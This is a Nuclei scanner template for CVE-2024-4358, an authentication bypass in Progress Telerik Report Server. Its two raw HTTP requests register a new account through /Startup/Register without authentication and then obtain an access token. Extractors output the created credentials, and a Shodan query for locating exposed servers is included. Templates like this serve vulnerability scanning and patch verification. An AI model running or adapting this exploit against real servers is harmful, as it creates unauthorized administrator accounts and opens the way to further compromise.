CVE-2024-4358: Progress Telerik Report Server - Authentication Bypass

id: CVE-2024-4358

info:
  name: Progress Telerik Report Server - Authentication Bypass
  author: DhiyaneshDK
  severity: critical
  description: |
    In Progress Telerik Report Server, version 2024 Q1 (10.0.24.305) or earlier, on IIS, an unauthenticated attacker can gain access to Telerik Report Server restricted functionality via an authentication bypass vulnerability.
  impact: An unauthenticated attacker can gain access to Telerik Report Server restricted functionality via an authentication bypass vulnerability.
  remediation: Updating to Report Server 2024 Q2 (10.1.24.514) or later.
  reference:
    - https://summoning.team/blog/progress-report-server-rce-cve-2024-4358-cve-2024-1800/
    - https://github.com/sinsinology/CVE-2024-4358
    - https://docs.telerik.com/report-server/knowledge-base/registration-auth-bypass-cve-2024-4358
  classification:
    epss-score: 0.94374
    epss-percentile: 0.99963
    cpe: cpe:2.3:a:progress:telerik_report_server:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    shodan-query: title:"Log in | Telerik Report Server"
    product: telerik_report_server
    vendor: progress
  tags: cve,cve2024,telerik,progress,auth-bypass,instrusive,kev,vkev
variables:
  user: "{{rand_base(6)}}"
  pass: "{{rand_base(8)}}"
  email: "{{randstr}}@{{rand_base(5)}}.com"
  firstname: "{{rand_base(5)}}"
  lastname: "{{rand_base(5)}}"

http:
  - raw:
      - |
        POST /Startup/Register HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        Username={{user}}&Password={{pass}}&ConfirmPassword={{pass}}&Email={{email}}&FirstName={{firstname}}&LastName={{lastname}}

      - |
        POST /Token HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        grant_type=password&username={{user}}&password={{pass}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(content_type_2, "application/json")'
          - 'contains_all(body_2, "access_token", "userName", "token_type")'
          - 'status_code_2 == 200'
        condition: and

    extractors:
      - type: regex
        name: token
        part: body_2
        group: 1
        regex:
          - '"access_token":"([A-Z0-9a-z_-]+)"'
        internal: true

      - type: dsl
        dsl:
          - '"Username: "+ user'
          - '"Password: "+ pass'
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